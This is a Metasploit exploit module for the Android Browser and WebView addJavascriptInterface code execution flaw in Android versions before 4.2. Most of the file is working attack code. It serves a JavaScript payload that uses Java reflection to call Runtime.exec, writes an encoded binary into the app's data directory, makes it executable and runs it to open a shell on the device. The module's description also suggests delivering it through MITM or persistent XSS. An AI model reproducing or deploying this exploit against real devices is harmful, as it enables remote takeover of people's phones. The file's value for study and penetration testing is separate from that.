require 'msf/core'
  
class Metasploit3 < Msf::Exploit::Remote 
  
  include Msf::Exploit::Remote::BrowserExploitServer 
  include Msf::Exploit::Remote::BrowserAutopwn 
  
  autopwn_info({ 
    :os_flavor  => "Android", 
    :arch       => ARCH_ARMLE, 
    :javascript => true, 
    :rank       => ExcellentRanking, 
    :vuln_test  => %Q| 
      for (i in top) { 
        try { 
          top[i].getClass().forName('java.lang.Runtime'); 
          is_vuln = true; break; 
        } catch(e) {} 
      } 
    | 
  }) 
  
  def initialize(info = {}) 
    super(update_info(info, 
      'Name'        => 'Android Browser and WebView addJavascriptInterface Code Execution', 
      'Description' => %q{ 
            This module exploits a privilege escalation issue in Android < 4.2's WebView component 
          that arises when untrusted Javascript code is executed by a WebView that has one or more 
          Interfaces added to it. The untrusted Javascript code can call into the Java Reflection 
          APIs exposed by the Interface and execute arbitrary commands. 
  
          Some distributions of the Android Browser app have an addJavascriptInterface 
          call tacked on, and thus are vulnerable to RCE. The Browser app in the Google APIs 
          4.1.2 release of Android is known to be vulnerable. 
  
          A secondary attack vector involves the WebViews embedded inside a large number 
          of Android applications. Ad integrations are perhaps the worst offender here. 
          If you can MITM the WebView's HTTP connection, or if you can get a persistent XSS
          into the page displayed in the WebView, then you can inject the html/js served 
          by this module and get a shell. 
  
          Note: Adding a .js to the URL will return plain javascript (no HTML markup). 
      }, 
      'License'     => MSF_LICENSE, 
      'Author'      => [ 
        'jduck', 
        'joev'   
      ], 
      'References'     => [ 
        ['URL', 'http://blog.trustlook.com/2013/09/04/alert-android-webview-'+ 
                'addjavascriptinterface-code-execution-vulnerability/'], 
        ['URL', 'https://labs.mwrinfosecurity.com/blog/2012/04/23/adventures-with-android-webviews/'], 
        ['URL', 'http://50.56.33.56/blog/?p=314'], 
        ['URL', 'https://labs.mwrinfosecurity.com/advisories/2013/09/24/webview-'+ 
                'addjavascriptinterface-remote-code-execution/'] 
      ], 
      'Platform'       => 'linux', 
      'Arch'           => ARCH_ARMLE, 
      'DefaultOptions' => { 'PrependFork' => true }, 
      'Targets'        => [ [ 'Automatic', {} ] ], 
      'DisclosureDate' => 'Dec 21 2012', 
      'DefaultTarget'  => 0, 
      'BrowserRequirements' => { 
        :source  => 'script', 
        :os_flavor  => "Android", 
        :arch       => ARCH_ARMLE
      } 
    )) 
  end
  
  def on_request_uri(cli, req) 
    if req.uri.end_with?('js') 
      print_status("Serving javascript") 
      send_response(cli, js, 'Content-type' => 'text/javascript') 
    else
      super
    end
  end
  
  def on_request_exploit(cli, req, browser) 
    print_status("Serving exploit HTML") 
    send_response_html(cli, html) 
  end
  
  def js 
    %Q| 
      function exec(obj) { 
        // ensure that the object contains a native interface 
        try { obj.getClass().forName('java.lang.Runtime'); } catch(e) { return; } 
  
        // get the runtime so we can exec 
        var m = obj.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null); 
        var data = "#{Rex::Text.to_hex(payload.encoded_exe, '\\\\x')}"; 
  
        // get the process name, which will give us our data path 
        var p = m.invoke(null, null).exec(['/system/bin/sh', '-c', 'cat /proc/$PPID/cmdline']); 
        var ch, path = '/data/data/'; 
        while ((ch = p.getInputStream().read()) != 0) { path += String.fromCharCode(ch); } 
        path += '/#{Rex::Text.rand_text_alpha(8)}'; 
  
        // build the binary, chmod it, and execute it 
        m.invoke(null, null).exec(['/system/bin/sh', '-c', 'echo "'+data+'" > '+path]).waitFor(); 
        m.invoke(null, null).exec(['chmod', '700', path]).waitFor(); 
        m.invoke(null, null).exec([path]); 
  
        return true; 
      } 
  
      for (i in top) { if (exec(top[i]) === true) break; } 
    | 
  end
  
  def html 
    "<!doctype html><html><body><script>#{js}</script></body></html>"
  end
end